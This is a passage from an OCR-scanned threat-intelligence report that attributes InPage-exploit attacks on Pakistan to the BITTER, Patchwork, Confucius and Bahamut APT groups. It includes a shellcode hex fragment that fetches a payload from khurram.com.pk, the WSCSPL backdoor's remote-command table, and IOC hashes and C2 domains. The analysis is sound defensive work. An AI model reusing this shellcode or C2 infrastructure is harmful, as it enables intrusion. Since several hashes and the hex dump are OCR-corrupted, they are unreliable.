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00 64 6B 6C 61 3A 2F 2F 6B &8 75 T2 72 &1 6D ZE .jkla://khurram.
63 6F 6D 2E 70 €B 2F &4 73 2F 64 T2 Te 0D Ba 57 com.pk/js/drv. °—
86 8B 8F FT D2 8B 34 24 89 16 51 FF DO 31 CO E8 cc . =0ca8%. QD14
OR 00 00 0D 4D &6F 76 65 46 &9 6C 65 41 00 53 FF v oo MoveFileRA.S5¥
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50 FF D7 31 C% 51 51 E8 15 00 00 00 43 32 5C 44 || Py=1EQQRe....C:\D
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Attribution and Correlation

QiAnXin Threat Intelligence Center through the analysis of this batch of InPage vulnerability utilization documents
and related attack activities, it is the "BITTER" APT organization disclosed by 360 company in 2016 that is the group
behind the targeted attack using WSCSPL backdoor program[5]And after further analysis, many samples in the series

of attacks are also strongly related to APT organizations such as mahagrass, Bahamut and Confucius.
BITTER APT Group

After in-depth analysis of several InPage vulnerability documents with a relatively short attack time by QiAnXin
Threat Intelligence Center, it was found that the Trojan program released by the vulnerability document was the
backdoor program used by APT organization "manlinghua" exposed by 360 company in 2016[5], is the analysis of the
WSCSPL full - featured backdoor program.

Command ID Function

2000 Retrieve RAT status information
2001 Retrieve hard disk list

2002 Retrieve file list in given directory
2004 Retrieve RAT log 1

Page 31 of 36



https://ti.qianxin.com /blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

2005 Create file by given filename

2006 Write bytes into created file (2005)
2007 Open file

2009 Read file content (2007)

2012 Create remote console

2013 Execute remote command

2015 Retrieve RAT log 2

2016 Terminate remote console

2017 Close handle

2019 Retrieve a list of processes with UPD activity link
2021 Retrieve RAT log 3

2022 Terminate process by process ID
2023 Retrieve a list of active processes
2025 Retrieve RAT log 4

In addition, many of these C&C addresses are also strongly related to APT organization "manlinghua” in the internal
analysis platform of QiAnXin Threat Intelligence Center. These C&C addresses have been repeatedly used in attacks

against China.Therefore, the relevant attack activities can be identified as "vine spirit flower".

Relation to Confucius

Delphi backdoor attack framework used in the C&C address errorfeedback.com in Trend Micro exploring Confucius

and mahagrass similarity[ 10]Appears that the domain name has been disclosed as a trend of Confucius use.

Relation to Patchwork

Through the in-depth analysis and correlation of Delphi backdoor attack framework mentioned above, we also found
that the attack framework and sample also appeared in the InPage attack sample analyzed by Palo Alto in 2017[13]Palo

Alto thought the attack framework and backdoor might have something to do with mahagrass.
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The dropped executable is a previously undocumented backdoor written in [DEIgHI that has been named BioData by multiple

antivirus organizations.

This InPage exploit document follows a much simpler execution flow, as seen in the following diagram.

|

Figure 4 InPage exploit execution flow

Relation to "Bahamut"

A vulnerability document "AAT national assembly final.inp" analyzed by QiAnXin Threat Intelligence Center into the
attack activity was finally executed by the Trojan horse (Visual Basic backdoor program) using the domain name
referfile.com as C2, which was published by Cisco Talos security research team in July 2018 as "a case of targeted
attack against Indian iOS users".[9]It was revealed that Talos security research team associated with this domain name
was also used by a Visual Basic backdoor program, and the related network assets were suspected to be owned by APT

organization "Bahamut".

& https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM-Part2. html|

We found additional similar samples between June 2017 and June 2018 with different C2 servers. The attackers

have two kinds of samples: one developed in Delphi and one developed in VisualBasic.

Here are the Delphi samples:

b96fc53f321729eda24af2a0b95e5¢1d39d46acbd5a565e6c5f8cB81f1bf9c7al = hxxp://appswonderlJinfo
3f463cebef1550b055ef6b4d1dad16ff1cb514f0091271ce92549e77bb5080d6 > hm-:p',".r-[,]::on'l
4b94b152293e49532e549b2538cad85e950cd 16ccd948a47a632376a840626ed -> hxxp://hiltrox[ Jcom
€70a1c230ef2894363b834132bbdbb3a0edc88e81049a7c7774fa5b4ed78206b - hx scrollayer[Jcom
27701181141dfd6234488e51340ba2d05901c8242a6e9a9952¢297c52a3ff050 -> hxxp://twitck[Jcom
e93f28efc1 787ed5e8763cdc0417e7d5db1c9203e484350c64860fff91dabafs = hxxp://scrollayer Jcom

Summary and Conjecture

QiAnXin Threat Intelligence Center analyzed a group of document samples with same attribution (timestamp,

ShellCode, InPage100 flow size, flow characteristics) , and found that those samples use at least 4 different malicious
code framework, and have connections with "PatchWork", "BITTER”, "Confucius", "Bahamut" APT organization has
produced more or less.Maybe these APT groups are actually one group? Or their digital weapons are provided by one

vendor(Their supporter give them same exploitation tools)?

The following is a TTP summary of APT groups mentioned in this article:

BITTER PatchWork Confucius Bahamut

South Asia (mainly

Target China, Pakistan China, Pakistan South Asia . )
Pakistan), Middle East
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Attack platform PC/Android PC/Android PC/Android PC/Android/iOS

Programming
C Delphi/c # Delphi Delphi/VB
language
Spear-phishing Social networks, spear- Social Social networks, spear-
Attack vector
attack phishing attack network phishing attack
10C

Documents with InPage vulnerability
863f2bfed6e8e1b8b4516e328c8bad1lb
ce2a6437a308dfe777dec42eec39d9ea
74aeaeaca968ff69139b2e2c84dc6fab
Office vulnerability exploit documents
61a107fee55e13e67al1f6cbc9183d0ad
Trojans
c3f5add704f2c540f3dd345f853e2d84
f9aeac76f92{8b2ddc253b3f53248c1d
8dda6f85f06b5952beaabbfea9e28cdd
25689fc7581840e851c3140aa8c3ac8b
1c2a3aa370660b3ac2bf0f41c342373b
43920ec371fae4726d570fdef1009163
694040b229562b8dca9534c5301f8d73
fec0ca2056d679a63cal8cb132223332
ec834fa821b2ddbe8b564b3870f13b1b
09d600e1cc9c6dab648d9a367927e6bff
91e3aa8fa918caa9a8e70466a9515666
4f9ef6f18e4c641621f4581a5989284c
afed882f6af66810d7637ebcd8287ddc

C&C

Page 34 of 36



https://ti.qianxin.com /blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

khurram.com.pk
nethosttalk.com
xiovo416.net
nethosttalk.com
newmysticvision.com
wcnchost.ddns.net
referfile.com
errorfeedback.com
Jospubs.com
traxbin.com

referfile.com
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